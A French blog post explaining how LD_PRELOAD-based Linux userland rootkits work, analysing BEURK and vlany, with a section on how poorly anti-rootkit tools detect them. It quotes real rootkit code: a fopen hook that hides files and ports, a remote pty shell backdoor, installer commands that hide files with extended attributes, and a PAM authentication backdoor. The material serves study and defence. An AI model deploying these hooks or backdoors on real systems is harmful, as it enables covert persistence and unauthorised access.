Blog de Nuliel

Rootkit Linux en espace utilisateur

Bonjour,

Aujourd’hui, on va continuer avec les rootkits, plus précisément les rootkits qui fonctionnent en espace utilisateur, basé sur LD_PRELOAD.

Cet article a pour but d’expliquer le fonctionnement interne de ces rootkits, dans le but de pouvoir les parer. Il n’est en aucun cas question d’infecter des systèmes qui ne vous appartiennent pas, et je n’en serai pas responsable si tel est le cas. Par ailleurs si vous voulez tester ces rootkits, testez dans une machine virtuelle jetable pour des raisons évidentes de sécurité.

Exemples de rootkits utilisant LD_PRELOAD

Voici les deux rootkits en espace utilisateur que j’ai pu étudier.

Intérêt de LD_PRELOAD

Un programme, même le plus basique Hello World, a besoin d’utiliser des briques basiques, comme afficher du texte à l’écran. Pour le faire simplement, un programme va faire appel à des librairies qui vont rendre ces actions plus simples. Par exemple, au lieu de jouer avec le syscall write, la libc nous met notamment à disposition la fonction printf qui permettent d’écrire du texte dans un terminal.

Ces librairies sont soit incluses dans le programme (on parle de librairies statiques), ou des librairies externes qui seront chargées en mémoire à l’exécution du programme afin d’alléger le programme (on parle de librairies dynamiques). La librairie la plus utilisée étant la libc.

Voici les librairies dynamiques utilisées par ls

nuliel@nuliel-desktop:~$ ldd /usr/bin/ls
        linux-vdso.so.1
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
        libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2
        /lib64/ld-linux-x86-64.so.2
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0

Les librairies sont chargés dans un certain ordre: la première librairie qui fournit la fonction demandée fournit cette fonction.

La variable d’environnement LD_PRELOAD permet de charger une librairie avant les autres.

nuliel@nuliel-desktop:~$ LD_PRELOAD=/fausse/libc.so.6 ldd /usr/bin/ls
	linux-vdso.so.1
	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1
	libc.so.6 => /fausse/libc.so.6
	libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2
	/lib64/ld-linux-x86-64.so.2
	libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0
nuliel@nuliel-desktop:~$

On peut aussi avoir ce comportement sur tout le système. Pour cela, il suffit de mettre le chemin de la librairie dans le fichier /etc/ld.so.preload. A noter que les programmes avec le SUID n’utiliseront pas le preload par défaut, voir ce lien pour plus d’infos.

Le choix de /etc/ld.so.preload a été fait dans la libdl, ce sera utile pour la suite.

L’un des intérêts de LD_PRELOAD est de pouvoir surcharger des fonctions de la libc, par exemple la fonction malloc/free, dans le but de savoir si un programme a des fuites de mémoire. C’est par exemple utilisé par certains outils de profiling.

Dans le cas d’un rootkit, l’intérêt est par exemple de surcharger les fonctions de la libc permettant de lister les fichiers d’un répertoire pour ne pas afficher certains fichiers, …

Etude détaillée

BEURK

BEURK est un rootkit basé sur la technique du LD_PRELOAD. Il va mettre sa librairie dans /etc/ld.so.preload afin de surcharger certaines fonctions de la libc.

Voici ses fonctionnalités:

Voici la liste des hooks de BEURK:

nuliel@nuliel-desktop:~/stage/rookits/beurk$ ls src/hooks/
accept.c   link.c        __lxstat.c   rmdir.c     unlink.c
access.c   lstat64.c     open.c       stat64.c    __xstat64.c
fopen64.c  lstat.c       readdir64.c  stat.c      __xstat.c
fopen.c    __lxstat64.c  readdir.c    unlinkat.c
nuliel@nuliel-desktop:~/stage/rookits/beurk$

Prenons l’un de ces hooks, par exemple fopen:

FILE *fopen(const char *__restrict path, const char *mode) {
    init();
    DEBUG(D_INFO, "called fopen(3) hook");

    if (is_attacker())
        return (REAL_FOPEN(path, mode));

    if (is_hidden_file(path)) {
        errno = ENOENT;
        return (NULL);
    }

    if (is_procnet(path))
        return (hide_tcp_ports(path));

    return (REAL_FOPEN(path, mode));
}

On peut voir que le hook de fopen se base sur le vrai fopen de la libc, et que la seule chose que fait le hook est de faire croire à l’utilisateur que le fichier caché n’existe pas, ou qu’un port caché n’est pas utilisé.

Pour nettoyer les logs, BEURK va simplement écrire des zéros sur les entrées à cacher.

Voici une partie du code de la backdoor (le hook accept() appelle drop_shell_backdoor):

/** serve a pty backdoor to remote attacker.
 *
 * this hidden function is called by accept(2) hook.
 */
int         drop_shell_backdoor(int sock, struct sockaddr *addr) {
    init();
    DEBUG(D_INFO, "drop_shell_backdoor() called.");

    struct sockaddr_in *sa_in;
    uint16_t sin_port;

    sa_in = (struct sockaddr_in*) addr;
    sin_port = ntohs(sa_in->sin_port);

    if (sin_port < LOW_BACKDOOR_PORT || sin_port > HIGH_BACKDOOR_PORT)
        return sock;

    if (check_shell_password(sock) < 0)
        return destroy_socket(sock);

    if ((dprintf(sock, "\r\n%s\r\n", SHELL_MOTD)) < 0) {
        DEBUG(D_ERROR, "write(): %s", strerror(errno));
        return destroy_socket(sock);
    }

    return drop_pty_connection(sock);
}

Dans le cas où l’attaquant est déjà connecté, il a accès à la vraie fonction accept(), dans le cas contraire drop_shell_backdoor va vérifier le mot de passe ainsi que le port utilisé (ce port doit être dans une certaine plage de ports donné avant la compilation de BEURK).

vlany

vlany est aussi un rootkit basé sur la technique du LD_PRELOAD. Au lieu de mettre sa librairie dans /etc/ld.so.preload, vlany remplace dans la libdl le chemin /etc/ld.so.preload par un chemin en partie aléatoire.

Remarque: bdvl est une version plus récente, plus avancée (et probablement moins buguée) que vlany, mais je n’ai pas étudié ce rootkit. Aussi, attention avec vlany, ce rootkit m’a cassé une dizaine de VM, notamment car il casse le démarrage et pose de nombreux problèmes avec cron, le mode debug casse ssh, …

Voici les fonctionnalités de vlany:

On peut voir que vlany contient bien plus de fonctionnalités que BEURK, notamment par le nombre de hooks de vlany:

nuliel@nuliel-desktop:~/stage/rookits/vlany$ find symbols/ -name "*.c" | wc -l
107

Pour comparaison, BEURK en a 23.

vlany se base sur les attributs étendus pour cacher des fichiers. C’est comme cela que le LD_PRELOAD et le dossier d’installation de vlany sont cachés:

HIDDEN_XATTR_1_STR="$(cat /dev/urandom | tr -dc 'A-Za-z' | fold -w 32 | head -n 1)"
HIDDEN_XATTR_2_STR="$(cat /dev/urandom | tr -dc 'A-Za-z' | fold -w 32 | head -n 1)"
...
setfattr -n user.${HIDDEN_XATTR_1_STR} -v ${HIDDEN_XATTR_2_STR} $NEW_PRELOAD
setfattr -n user.${HIDDEN_XATTR_1_STR} -v ${HIDDEN_XATTR_2_STR} $INSTALL $INSTALL/* $INSTALL/.profile $INSTALL/.bashrc $INSTALL/.shell_msg $INSTALL/.vlany_information
chattr +ia $INSTALL/.profile $INSTALL/.bashrc $INSTALL/.shell_msg $INSTALL/.vlany_information $INSTALL/${OBJECT_FILE_NAME}*

Il faut aussi noter que même en étant root, les fichiers restent cachés.

Toujours dans le script d’installation de vlany, SELinux est désactivé, quelques vérifications sont faites (notamment si on est dans un conteneur). La fonction patch_dynamic_linker va modifier la librairie ld.so afin de changer la chaîne de caractères /etc/ld.so.preload par un autre chemin aléatoire. Le script d’installation passe ensuite la main au script python config.py qui va notamment créer le fichier de configuration de vlany, avec les mots de passe utilisés, les ports utilisés pour les backdoors… Tout cela est caché avec des attributs étendus, et le contenu est XOR avec une valeur fixe.

De la même manière que pour la libc, la librairie étant chargée avant libpam, vlany hook aussi des fonctions de libpam. La libpam permet de s’authentifier.

int pam_authenticate(pam_handle_t *pamh, int flags)
{
    #ifdef PAM_DEBUG
        printf("[vlany] pam_authenticate() called\n");
    #endif

    HOOK(old_pam_authenticate, CPAM_AUTHENTICATE);
 
    void *user;
    // hahahahahahahahahahahahahahahahahahahahaha
    pam_get_item(pamh, PAM_USER, (const void **)&user);
    if((char *)user == NULL) return old_pam_authenticate(pamh, flags);

    char *vlany_user = strdup(VLANY_USER); xor(vlany_user);

    if(!strcmp((char *)user, vlany_user))
    {
        if(!strcmp(procname_self(), "login")) { CLEAN(vlany_user); return old_pam_authenticate(pamh, flags); }

        char prompt[512], *pw;
        snprintf(prompt, sizeof(prompt), "* Password for %s: ", vlany_user);
        pam_prompt(pamh, 1, &pw, "%s", prompt);

        char *vlany_password = strdup(VLANY_PASSWORD); xor(vlany_password);
        if(!strcmp(crypt(pw, vlany_password), vlany_password)) { CLEAN(vlany_user); CLEAN(vlany_password); return PAM_SUCCESS; }
        CLEAN(vlany_user);
        CLEAN(vlany_password);

        return PAM_USER_UNKNOWN;
    }

    CLEAN(vlany_user);
    return old_pam_authenticate(pamh, flags);
}

Dans le cas où l’attaquant fournit le bon nom d’utilisateur et le bon mot de passe pour vlany, le hook donne l’autorisation de se connecter. Dans le cas contraire, la vraie fonction pam_authenticate est appelée afin par exemple à un utilisateur classique de passer root. A noter que vlany pourrait ici récupérer les mots de passe en clair.

Détection

De la même manière que pour l’article sur les rootkits en espace noyau, je me baserai sur un papier récent, datant de 2020: http://jultika.oulu.fi/files/nbnfioulu-202004201485.pdf . On peut voir que ces deux rootkits ne sont pas bien détectés, seul AIDE détecte ces deux rootkits comme suspects, et OSSEC détecte aussi vlany comme suspect, mais au final sans réussir à les détecter comme rootkits.

Conclusion

On a pu voir dans cet article l’intérêt de la technique de LD_PRELOAD, son intérêt pour l’instrumentation du code ainsi que pour un rootkit se basant sur cette technique.

Leur détection par des logiciels anti-rootkits n’est pas si efficace, même si en utilisant plusieurs de ces logiciels, leur détection est bien meilleure, mais ils sont malheureusement souvent détectés comme programmes suspects et non comme rootkits.

Ces rootkits ont besoin des droits root le temps d’injecter leur librairie. Je redonne donc le même conseil: faites attention à ce que vous lancez avec sudo, ou en root.

C’est la fin de cet article, j’espère qu’il vous aura plu. Je vous dis à bientôt pour de nouvelles aventures 🙂